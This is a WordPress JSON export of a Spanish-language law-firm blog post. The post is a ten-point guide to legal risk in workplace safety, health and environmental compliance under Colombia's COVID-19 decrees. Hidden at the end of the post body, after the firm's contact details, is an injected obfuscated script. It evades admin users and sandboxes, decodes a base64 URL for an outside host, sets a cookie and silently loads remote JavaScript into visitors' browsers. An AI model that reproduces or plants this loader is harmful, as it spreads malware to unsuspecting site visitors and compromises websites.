{"id":730,"date":"2020-04-27T16:16:31","date_gmt":"2020-04-27T16:16:31","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=730"},"modified":"2026-02-11T18:46:19","modified_gmt":"2026-02-11T18:46:19","slug":"decalogo-gestion-del-riesgo-legal-en-seguridad-salud-y-ambiente-a-causa-del-covid-19-2","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/es\/2020\/04\/27\/decalogo-gestion-del-riesgo-legal-en-seguridad-salud-y-ambiente-a-causa-del-covid-19-2\/","title":{"rendered":"Dec\u00e1logo &#8211; Gesti\u00f3n del Riesgo Legal en Seguridad, Salud Y Ambiente a Causa Del COVID-19"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>DEC\u00c1LOGO <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>GESTI\u00d3N DEL RIESGO LEGAL EN SEGURIDAD, SALUD Y AMBIENTE A CAUSA DEL COVID-19<\/strong><\/p>\n<ol>\n<li>Comprenda el fundamento legal<\/li>\n<li>Implemente el Protocolo de Bioseguridad<\/li>\n<li>Comunique el Protocolo de Bioseguridad<\/li>\n<li>Ajuste el Sistema de Gesti\u00f3n de Seguridad y Salud en el Trabajo (SG-SST)<\/li>\n<li>Asuma los deberes que le corresponden como empleador<\/li>\n<li>H\u00e1gale comprender a trabajadores y contratistas sus deberes<\/li>\n<li>Gestione adecuadamente la sospecha y casos de contagio en el trabajo<\/li>\n<li>Gestione adecuadamente todos los residuos generados<\/li>\n<li>Sea consciente de la responsabilidad en seguridad y salud en el trabajo<\/li>\n<li>Sea consciente de la responsabilidad ambiental y social<\/li>\n<\/ol>\n<p><strong><u>1. COMPRENDA EL FUNDAMENTO LEGAL<\/u><\/strong><\/p>\n<p>M\u00e1s all\u00e1 de la avalancha de normas de reciente expedici\u00f3n, estas son definitivamente las que <u>fundamentan<\/u> la gesti\u00f3n en seguridad, salud y ambiente, en el marco de la emergencia sanitaria causada por el Covid-19:<\/p>\n<p><strong>Resoluci\u00f3n No. 385 de 12-03-2020 (Ministerio de Salud y Protecci\u00f3n Social): <\/strong>Declara la <strong>Emergencia Sanitaria<\/strong> en todo el territorio nacional hasta el <strong>30 de mayo de 2020<\/strong>, la cual podr\u00e1 ser prorrogada. Adopta una serie de medidas sanitarias de car\u00e1cter obligatorio y determina las consecuencias por su incumplimiento.<\/p>\n<ul>\n<li><\/li>\n<li><strong>Decreto No. 417 de 17-03-2020 (Presidencia de la Rep\u00fablica): <\/strong>Declara el <strong>Estado de Emergencia Econ\u00f3mica, Social y Ecol\u00f3gica<\/strong> por el t\u00e9rmino de treinta (30) d\u00edas, hasta el 17-04-2020. As\u00ed, se dicta una serie de decretos con fuerza de ley para conjurar la crisis, la mayor\u00eda de ellos de car\u00e1cter transitorio, mientras persista la declaratoria de Emergencia Sanitaria atr\u00e1s indicada.<\/li>\n<li><strong>Decreto No. 539 de 15-04-2020 (Ministerio de Salud y Protecci\u00f3n Social): <\/strong>El Ministerio es la entidad encargada de dirigir y expedir los Protocolos de Bioseguridad que se requieran, para todas las actividades econ\u00f3micas, sociales y sectores p\u00fablico y privado. Los protocolos se vienen desarrollando mediante resoluci\u00f3n, circulares administrativas, gu\u00edas y documentos t\u00e9cnicos.<\/li>\n<li><strong>Decreto No. 593 de 24-04-2020 (Ministerio del Interior):<\/strong> Extiende el aislamiento preventivo hasta 10-05-2020, pero excepcionalmente permite la movilizaci\u00f3n de personas y el desarrollo de determinadas actividades, prestaci\u00f3n de servicios b\u00e1sicos y activaci\u00f3n de algunos sectores productivos o manufactureros, implementando obligatoriamente los Protocolos de Bioseguridad.<\/li>\n<\/ul>\n<p><strong><u>2. IMPLEMENTE EL PROTOCOLO DE BIOSEGURIDAD<\/u><\/strong><\/p>\n<p><strong>Protocolo General de Bioseguridad<\/strong><\/p>\n<p><strong>Resoluci\u00f3n No. 666 de 24-04-2020 y Anexo T\u00e9cnico (Ministerio de Salud y Protecci\u00f3n Social)<\/strong><\/p>\n<ul>\n<li>Protocolo de obligatorio cumplimiento para todas las actividades econ\u00f3micas, sociales y sectores de la administraci\u00f3n p\u00fablica.<\/li>\n<li>Sin embargo, cada empresa o entidad podr\u00e1 adaptar a sus actividades el Protocolo de Bioseguridad contenido en el Anexo de la norma.<\/li>\n<li>Aplica a empleadores, trabajadores, contratantes, contratistas y ARL.<\/li>\n<li>Orienta las medidas generales de bioseguridad para adaptar a los sectores diferentes al sector salud.<\/li>\n<li>Vigilancia y cumplimiento del Protocolo a cargo de alcaldes y gobernadores, los entes descentralizados (Secretar\u00edas de Salud, Direcciones Territoriales Mintrabajo), entre otros.<\/li>\n<li>Contiene medidas generales y especiales de bioseguridad tanto para el trabajo presencial, como para las modalidades de teletrabajo, trabajo en casa u otras similares.<\/li>\n<li>Otros protocolos se complementan con \u00e9ste y se han expedido mediante gu\u00edas, documentos t\u00e9cnicos y circulares administrativas, adaptables en conjunto con el Protocolo General, orientando en general buenas pr\u00e1cticas y\/o recomendaciones para diferentes sectores de la econom\u00eda, producci\u00f3n y servicios.<\/li>\n<li>La norma rige a partir de la fecha de publicaci\u00f3n y mientras dure la Emergencia Sanitaria (en principio hasta 30-05-2020).<\/li>\n<\/ul>\n<p>Sectores estrat\u00e9gicos (salud, servicios p\u00fablicos domiciliarios, transporte, minas y energ\u00eda, construcci\u00f3n, combustibles, medicamentos, alimentos, agroindustria, comunicaciones, entre otros) cuyo funcionamiento hab\u00eda sido autorizado previamente, siguiendo otras gu\u00edas o protocolos, deber\u00e1n ajustar sus actividades igualmente al presente Protocolo, en contexto.<\/p>\n<p>Otros sectores como manufactura de textiles, cuero, ropa, madera, papel, cart\u00f3n, qu\u00edmicos, metales, el\u00e9ctricos, maquinaria y equipos, podr\u00e1n reiniciar labores implementando el Protocolo General y valid\u00e1ndolo ante la secretar\u00eda municipal o distrital que corresponda a la actividad econ\u00f3mica de la industria manufacturera, de acuerdo con el Decreto No. 593 de 24-04-2020 del Ministerio del Interior y con la Resoluci\u00f3n No. 498 de 26-04-2020 del Ministerio de Comercio, Industria y Turismo.<\/p>\n<p><strong><u>3.COMUNIQUE EL PROTOCOLO DE BIOSEGURIDAD<\/u><\/strong><\/p>\n<p>Es obligatorio contar con un Plan de Comunicaciones para que la informaci\u00f3n sea clara, fluida y oportuna, a fin de comunicar el Protocolo a todos los actores relevantes:<\/p>\n<ul>\n<li>Se debe comunicar a trabajadores, contratistas, COPASST y sindicatos.<\/li>\n<li>Se deben enviar mensajes continuos y hacer capacitaciones o charlas informativas a los trabajadores y contratistas.<\/li>\n<li>Se debe dar a conocer a la ARL y exigirle as\u00ed el cumplimiento de sus deberes.<\/li>\n<li>Se deben establecer mecanismos de divulgaci\u00f3n de las medidas, para la atenci\u00f3n a los usuarios o p\u00fablico, cuando ello aplique.<\/li>\n<li>Se debe presentar y validar ante la secretar\u00eda municipal o distrital respectiva, que corresponda a la actividad econ\u00f3mica de la industria manufacturera.<\/li>\n<li>En algunos sectores, especialmente los de servicios p\u00fablicos, es obligatorio comunicar los protocolos a determinados entes de control, supervisi\u00f3n o vigilancia sectorial.<\/li>\n<\/ul>\n<p><strong><u>4. AJUSTE EL SISTEMA DE GESTI\u00d3N DE SEGURIDAD Y SALUD EN EL TRABAJO (SG-SST)<\/u><\/strong><\/p>\n<p>Se debe actuar conforme a los lineamientos de la gesti\u00f3n del cambio y el compromiso de mejora continua, propia de los sistemas de gesti\u00f3n, tanto el SG-SST del Decreto 1072 de 2015, como de las normas OHSAS 18001 e ISO 45001.<\/p>\n<ul>\n<li>Se deben revisar y actualizar las matrices de identificaci\u00f3n de peligros y valoraci\u00f3n de riesgos, incluyendo el riesgo biosanitario.<\/li>\n<li>Se debe asegurar la vigilancia de la salud de los trabajadores en el contexto del Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo (SG-SST).<\/li>\n<li>Se deben revisar y modificar los sistemas o programas de vigilancia epidemiol\u00f3gica con que cuenta la empresa.<\/li>\n<li>En el marco del SG-SST se deben identificar las condiciones de salud de los trabajadores (estado de salud, h\u00e1bitos y estilo de vida, factores de riesgo asociados a contagio).<\/li>\n<li>Se deben revisar y actualizar las matrices de identificaci\u00f3n de requisitos legales y otros.<\/li>\n<li>Se debe ajustar y actualizar el Plan de Trabajo Anual (PTA) de la presente anualidad, en conjunto con la ARL.<\/li>\n<li>Se deben revisar, actualizar y\/o ajustar, en lo pertinente o aplicable, el Plan de Gesti\u00f3n del Riesgo de Desastres y los planes de emergencia y contingencia de entidades p\u00fablicas y privadas.<\/li>\n<\/ul>\n<p>Los Sistemas de Gesti\u00f3n en Seguridad y Salud en el Trabajo deber\u00e1n mantener el riesgo biosanitario como un factor de riesgo y como consecuencia, mantener en el tiempo las medidas de precauci\u00f3n, prevenci\u00f3n y atenci\u00f3n que sean necesarias, aun cuando no necesariamente todas las establecidas en normas y protocolos que tienen car\u00e1cter temporal.<\/p>\n<p><strong><u>5.ASUMA LOS DEBERES QUE LE CORRESPONDEN COMO EMPLEADOR<\/u><\/strong><\/p>\n<p>Adem\u00e1s de las obligaciones generales de los empleadores en materia de seguridad y salud en el trabajo y por supuesto las de documentar, implementar y comunicar el Protocolo, las principales responsabilidades de los empleadores son:<\/p>\n<ul>\n<li>Capacitar a sus empleados y contratistas en las medidas del Protocolo.<\/li>\n<li>Adoptar medidas de control para reducir la exposici\u00f3n, como la flexibilizaci\u00f3n de turnos y horarios y el trabajo remoto, en casa o teletrabajo.<\/li>\n<li>Reportar a las EPS y ARL casos sospechosos y confirmados de Covid-19.<\/li>\n<li>Apoyarse en ARL en identificaci\u00f3n y valoraci\u00f3n del riesgo y con la EPS en promoci\u00f3n y prevenci\u00f3n.<\/li>\n<li>Proveer a los empleados todos los elementos de protecci\u00f3n personal.<\/li>\n<li>Promover el uso de la aplicaci\u00f3n CoronaApp.<\/li>\n<li>Asignaci\u00f3n y comunicar las responsabilidades en la materia.<\/li>\n<li>Definir y proveer todos los recursos (financieros, organizacionales, humano y t\u00e9cnicos) que sea necesarios para prevenir el contagio y gestionar el riesgo.<\/li>\n<\/ul>\n<p>6. H\u00c1GALE COMPRENDER A TRABAJADORES Y CONTRATISTAS SUS DEBERES<\/p>\n<p>Adem\u00e1s de los deberes generales del trabajador en materia de seguridad y salud en el trabajo, los trabajadores y\/o contratistas, como m\u00ednimo deber\u00e1n:<\/p>\n<ul>\n<li>Cumplir los protocolos de bioseguridad adoptados y adaptados por el empleador.<\/li>\n<li>Reportar cualquier caso de contagio en su lugar de trabajo o su familia.<\/li>\n<li>Fomentar el autocuidado, adoptar medidas de cuidado de su salud y reportar s\u00edntomas de enfermedad respiratoria.<\/li>\n<li>Suministrar informaci\u00f3n clara, veraz y completa sobre su estado de salud.<\/li>\n<li>Informar oportunamente al empleador o contratante acerca de los peligros y riesgos latentes en su sitio de trabajo.<\/li>\n<li>Participar en las actividades de capacitaci\u00f3n en seguridad y salud en el trabajo definido por el empleador.<\/li>\n<li>Suministrar la informaci\u00f3n que le sea requerida en la materia, de acuerdo con los protocolos, en especial relacionada con situaciones de mayores niveles de riesgo o exposici\u00f3n.<\/li>\n<li>Reportar su estado de salud en CoronApp.<\/li>\n<\/ul>\n<p><strong><u>7.GESTIONE ADECUADAMENTE LA SOSPECHA Y CASOS DE CONTAGIO EN EL TRABAJO<\/u><\/strong><\/p>\n<p>A fin de minimizar el riesgo desde el punto de vista legal, el empleador no solo deber\u00e1 gestionar adecuadamente los casos sospechosos o de contagio confirmados, sino, adem\u00e1s, gestionar tambi\u00e9n de manera adecuada las morbilidades preexistentes.<\/p>\n<ul>\n<li>Mayores de 60 a\u00f1os y personas que presenten morbilidades preexistentes identificadas como factores de riesgo para Covid-19, deben realizar obligatoriamente trabajo remoto.<\/li>\n<li>El empleador deber\u00e1 hacer an\u00e1lisis de reconversi\u00f3n laboral de ser necesario, para aquellos obligados a permanecer en asilamiento preventivo por edad y\/o morbilidad.<\/li>\n<li>Establecer un sistema de alerta de s\u00edntomas y vigilancia a la salud de los trabajadores, en el marco del SG-SST.<\/li>\n<li>Quien desempe\u00f1e el trabajo en casa est\u00e1 obligado a reportar condici\u00f3n sintom\u00e1tica ante la EPS y su empleador.<\/li>\n<li>Seguir estrictamente los lineamientos y pasos del Protocolo para casos de s\u00edntomas compatibles con Covid-19.<\/li>\n<li>Definir un protocolo de remisi\u00f3n para el tratamiento de las personas con s\u00edntomas o que hayan sido diagnosticadas con Covid-19, en l\u00ednea con lo establecido por el Ministerio de Salud y Protecci\u00f3n Social.<\/li>\n<li>Establecer un sistema de nexo y cerco epidemiol\u00f3gico ante casos confirmados, cruzando informaci\u00f3n de la persona con quienes el contagiando ha estado en contacto.<\/li>\n<li>Reportar inmediatamente los casos de contagio ante la EPS, la ARL y la Secretar\u00eda de Salud correspondiente, para lo de su competencia.<\/li>\n<\/ul>\n<p>De acuerdo con el Decreto No. 538 de 12-04-2020 del Ministerio de Salud y Protecci\u00f3n Social, el Covid-19 es una enfermedad laboral directa, respecto de los trabajadores del sector salud, incluyendo al personal administrativo, de aseo, vigilancia y de apoyo que preste servicios en las diferentes actividades de prevenci\u00f3n, diagn\u00f3stico y atenci\u00f3n de la enfermedad.<\/p>\n<p>En los dem\u00e1s casos, la calificaci\u00f3n de la enfermedad laboral se har\u00e1 siguiendo las disposiciones legales vigentes que regulan la materia, pese a no estar expresamente listada en la tabla de enfermedades, siendo necesario establecer la relaci\u00f3n de causalidad en cada caso de contagio.<\/p>\n<p><strong><u><br \/>\n8. GESTIONE ADECUADAMENTE TODOS LOS RESIDUOS GENERADOS<\/u><\/strong><\/p>\n<p>La generaci\u00f3n de un nuevo grupo de residuos que en algunos casos podr\u00edan tener caracter\u00edsticas de peligrosidad (infecciosos o de riesgo biol\u00f3gico), tales como tapabocas, guantes, ropa desechable, entre otros, debe gestionarse en todo caso de acuerdo con las normas ambientales vigentes, considerando en todo caso los principios de gesti\u00f3n integral y responsabilidad del generador.<\/p>\n<ul>\n<li>Las entidades prestadoras de servicios de salud como consultorios, cl\u00ednicas, hospitales, centros de\u00a0<a href=\"https:\/\/www.eltiempo.com\/salud\" rel=\"nofollow noopener\" target=\"_blank\">salud,\u00a0<\/a>entre otros, deber\u00e1n seguir cumpliendo con la normatividad establecida para el manejo de residuos biosanitarios y\/o peligrosos.<\/li>\n<li>Las empresas deber\u00e1n seguir separando todo tipo de residuos en la fuente y aunque todav\u00eda no est\u00e1 vigente la Resoluci\u00f3n No. 2184 de 2019 (C\u00f3digo de Colores para la separaci\u00f3n), las autoridades recomiendan su implementaci\u00f3n y entrega de residuos ordinarios ante las empresas prestadores del servicio p\u00fablico de aseo.<\/li>\n<li>Los residuos que se cataloguen como infecciosos o de riesgo biol\u00f3gico deber\u00e1n disponerse como tal, entendi\u00e9ndose que \u00e9stos se consideran como Residuos Peligrosos \u2013 RESPEL.<\/li>\n<li>Los RESPEL infecciosos o de riesgo biol\u00f3gico no pueden ser aprovechados bajo ninguna modalidad y deber\u00e1n ser entregados para su disposici\u00f3n final \u00fanicamente a gestores que cuenten con Licencia Ambiental que autorice expresamente la gesti\u00f3n de ese tipo de residuos.<\/li>\n<li>Si la cantidad de residuos peligrosos con riesgo biol\u00f3gico o infeccioso generados con ocasi\u00f3n del Covid-19 se acerque a la m\u00e1xima capacidad instalada de los gestores de dichos residuos, las autoridades ambientales podr\u00e1n autorizar, previa modificaci\u00f3n transitoria de la licencia ambiental, a otros gestores de residuos peligrosos para que tambi\u00e9n gestionen residuos con riesgo biol\u00f3gico o infeccioso, de acuerdo con el Decreto No. 465 del 23-03-2020 del Ministerio de Ambiente y Desarrollo Sostenible.<\/li>\n<\/ul>\n<p>9.SEA CONSCIENTE DE LA RESPONSABILIDAD EN SEGURIDAD Y SALUD EN EL TRABAJO<\/p>\n<p><strong>\u00a0<\/strong><strong>Responsabilidad administrativa en materia laboral:<\/strong> De acuerdo con la Ley 100 de 1993 (arts. 22, 23 y 271), el Decreto 1295 de 1994 (arts. 91 y 92), la Ley 1562 de 2012 y el Decreto 1072 de 2015, se podr\u00e1n imponer multas sucesivas a las empresas hasta de 1.000 SMLMV y\/o la suspensi\u00f3n temporal o cierre definitivo de la empresa, por incumplimiento de las normas o protocolos y\/o de los preceptos del SG-SST. Las ARL tambi\u00e9n podr\u00e1n ser multadas hasta 500 SMLMV, proceso a cargo de las autoridades del sector trabajo.<\/p>\n<p><strong>Responsabilidad administrativa en materia sanitaria:<\/strong> De acuerdo con el Decreto 780 de 2015 (Decreto \u00danico Reglamentario del sector Salud), art\u00edculo 2.2.8.1.4.21, el empleador podr\u00eda hacerse acreedor de multas hasta por 10.000 SMMLV, suspensi\u00f3n de actividades o la clausura de instalaciones, por la violaci\u00f3n de medidas sanitarias, entendiendo que estas son de inmediata ejecuci\u00f3n, tienen car\u00e1cter preventivo y transitorio y se aplicar\u00e1n sin perjuicio de las sanciones a que hubiere lugar. El proceso sancionatorio est\u00e1 a cargo de las autoridades del sector salud.<\/p>\n<p><strong>\u00a0<\/strong><strong>Responsabilidad laboral:<\/strong> Consiste en la indemnizaci\u00f3n autom\u00e1tica otorgada por ley y reconocimiento de las prestaciones asistenciales y econ\u00f3micas al trabajador por parte de la ARL, cuando se determine o califique el contagio como enfermedad laboral. Cuando el trabajador por cualquier motivo no se encuentra afiliado a la ARL, el empleador asumir\u00e1 todas y cada una de las prestaciones econ\u00f3micas (incapacidades, pensiones) y asistenciales que le corresponden al trabajador o sus deudos por ley.<\/p>\n<p><strong>Responsabilidad civil:<\/strong> Trata de la indemnizaci\u00f3n de perjuicios materiales y morales a que haya lugar, cuando existe culpa (negligencia, imprudencia, ineficacia, violaci\u00f3n de normas, reglamentos o protocolos) o dolo (intenci\u00f3n) suficientemente comprobadas por parte del empleador en la causaci\u00f3n de la enfermedad laboral, con fundamento en el art\u00edculo 216 del C\u00f3digo Sustantivo del Trabajo. El trabajador o sus sobrevivientes, con derechos, deber\u00e1n adelantar un proceso ordinario de responsabilidad civil ante la jurisdicci\u00f3n laboral ordinaria.<\/p>\n<p><strong>Responsabilidad penal:<\/strong> De acuerdo con los art\u00edculos 368 (violaci\u00f3n de medida sanitaria) y 369 (propagaci\u00f3n de epidemia) del C\u00f3digo Penal (Ley 599 de 2000), consagrados en el T\u00edtulo de los Delitos contra la Salud P\u00fablica, la violaci\u00f3n de medidas sanitarias (prisi\u00f3n de 4 a ocho 8 a\u00f1os) y la propagaci\u00f3n de epidemia (prisi\u00f3n de 4 a 10 a\u00f1os), se consideran delitos en los cuales podr\u00edan incurrir tanto empleadores como trabajadores. Como la intenci\u00f3n del legislador fue evidentemente la de proteger la salud p\u00fablica, la norma claramente aplica cuando se violan medidas sanitarias, independientemente de si se trata de un brote epidemiol\u00f3gico (local), una epidemia (regional) o una pandemia (global) de acuerdo con las definiciones dadas por la Organizaci\u00f3n Mundial de la Salud &#8211; OMS.<\/p>\n<p><strong>Responsabilidad policiva: <\/strong>El incumplimiento de las medidas de seguridad, protocolos y\/o medidas de asilamiento preventivo, podr\u00eda dar lugar a la imposici\u00f3n de medidas correctivas tanto para empleadores como trabajadores (comparendo), consistentes en multas y\/o la\u00a0 suspensi\u00f3n de actividades, principalmente con fundamento en los art\u00edculos 93 y 94 del C\u00f3digo Nacional de Polic\u00eda y Convivencia (Ley 1801 de 2016), dentro del T\u00edtulo de los comportamientos relacionados con la seguridad y salud p\u00fablica que afectan la actividad econ\u00f3mica, de acuerdo con el Proceso \u00danico de Polic\u00eda y a cargo de las autoridades de polic\u00eda, esto es, la polic\u00eda uniformada, las inspecciones de polic\u00eda y los alcaldes.<\/p>\n<p><strong><u>10.SEA CONSCIENTE DE LA RESPONSABILIDAD AMBIENTAL Y SOCIAL<\/u><\/strong><\/p>\n<p><strong>Responsabilidad administrativa:<\/strong> principalmente derivada de un inadecuado manejo, gesti\u00f3n o disposici\u00f3n final de los residuos generados en la emergencia, especialmente los infecciosos o de riesgo biol\u00f3gico, entre otras conductas, a las empresas se les pueden imponer\u00a0 medidas preventivas (suspensi\u00f3n de actividades, entre otras) o sanciones (multas hasta de 5.000 SMMLV, revocatoria de permisos o licencias, cese definitivo de actividades), adem\u00e1s de quedar inscrito en el Registro \u00danico de Infractores Ambientales (RUIA), de acuerdo con la Ley 1333 de 2009 (R\u00e9gimen Sancionatorio Ambiental), procesos a cargo de las autoridades ambientales competentes.<\/p>\n<p><strong>Responsabilidad civil:<\/strong> Eventualmente la conducta (por ejemplo, una inadecuada disposici\u00f3n de residuos peligrosos), podr\u00eda configurar un da\u00f1o ambiental puro (sobre el ambiente y los recursos naturales renovables) o consecutivo (sobre la salud o bienes de terceros), lo que obligar\u00eda al pago del resarcimiento o reparaci\u00f3n que se acredite a trav\u00e9s de procesos ordinarios de responsabilidad civil o acciones de grupo, sin perjuicio de la remediaci\u00f3n f\u00edsica que cause por ejemplo un evento de contaminaci\u00f3n o da\u00f1o ambiental, de acuerdo con la Ley 23 de 1973, la Constituci\u00f3n Pol\u00edtica de 1991, la ley 472 de 1998 y la Ley 1333 de 2009.<\/p>\n<p><strong>Responsabilidad penal:<\/strong> En materia penal se podr\u00edan configurar las siguientes conductas consagradas en el C\u00f3digo Penal (Ley 599 de 2000, modificada por la Ley 1453 de 2011): <strong>a)<\/strong> Da\u00f1o en Recursos Naturales \u2013 Art\u00edculo 331 (prisi\u00f3n de 48 a 108 meses); <strong>b)<\/strong> Contaminaci\u00f3n Ambiental \u2013 Art\u00edculo 331 (prisi\u00f3n de 55 a 112 meses) y; <strong>c)<\/strong> Contaminaci\u00f3n Ambiental por Residuos S\u00f3lidos Peligrosos \u2013 Art\u00edculo 332 A (prisi\u00f3n de 2 a 9 a\u00f1os), sin perjuicio de las multas que tambi\u00e9n se pueden imponer en materia penal (hasta 50.000 SMMLV) o de la acci\u00f3n civil dentro del proceso penal. En asuntos penales ambientales se ha levantado el velo corporativo y las personas jur\u00eddicas\u00a0 tambi\u00e9n pueden responder por delitos contra el ambiente y los recursos naturales (Representante Legal, Administradores de las empresas).<\/p>\n<p><strong>Responsabilidad policiva:<\/strong> Considerando que los pilares de la convivencia ciudadana y el orden p\u00fablico son la tranquilidad, la seguridad, la salud p\u00fablica y el ambiente, podr\u00eda darse tambi\u00e9n la imposici\u00f3n de medidas correctivas para empresas y\/o trabajadores\u00a0 consistentes en multas y\/o la suspensi\u00f3n de actividades, con fundamento en el T\u00edtulo IX del C\u00f3digo Nacional de Polic\u00eda y Convivencia (Ley 1801 de 2016), comportamientos relacionados con el ambiente, siguiendo igualmente el Proceso \u00danico de Polic\u00eda a cargo de las autoridades de polic\u00eda.<\/p>\n<p><strong><u>Nota:<\/u><\/strong><strong> Este DEC\u00c1LOGO de \u00c1lvarez Abogados Ambientales S.A.S., constituye una gu\u00eda imprescindible para la gesti\u00f3n del riesgo legal y el cumplimiento normativo (compliance) en materia de seguridad, salud y ambiente, como consecuencia de la emergencia sanitaria causada por el Covid-19. Ante cualquier inquietud no dude en comunicarse con nosotros.<\/strong><\/p>\n<p><strong>Comun\u00edquese:<br \/>\n<\/strong><a href=\"http:\/\/www.alvarezabogadosambiental.com\"><strong>www.alvarezabogadosambiental.com<\/strong><\/a><br \/>\n<strong>Correo: jalvarez@alvarezabogadosambiental.com<br \/>\n<\/strong><strong>Tel\u00e9fonos: 322-307-3916<br \/>\n<\/strong><strong>Direcci\u00f3n: Cra 54 # 68 \u2013 215, Local 1, Ed. Bello Prado.<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>DEC\u00c1LOGO GESTI\u00d3N DEL RIESGO LEGAL EN SEGURIDAD, SALUD Y AMBIENTE A CAUSA DEL COVID-19 Comprenda el fundamento legal Implemente el Protocolo de Bioseguridad Comunique el Protocolo de Bioseguridad Ajuste el Sistema de Gesti\u00f3n de Seguridad y Salud en el Trabajo (SG-SST) Asuma los deberes que le corresponden como empleador H\u00e1gale comprender a trabajadores y contratistas [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[53],"tags":[],"class_list":["post-730","post","type-post","status-publish","format-standard","hentry","category-seguridad-salud-en-el-trabajo"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/730","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/comments?post=730"}],"version-history":[{"count":5,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/730\/revisions"}],"predecessor-version":[{"id":2765,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/730\/revisions\/2765"}],"wp:attachment":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/media?parent=730"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/categories?post=730"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/tags?post=730"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}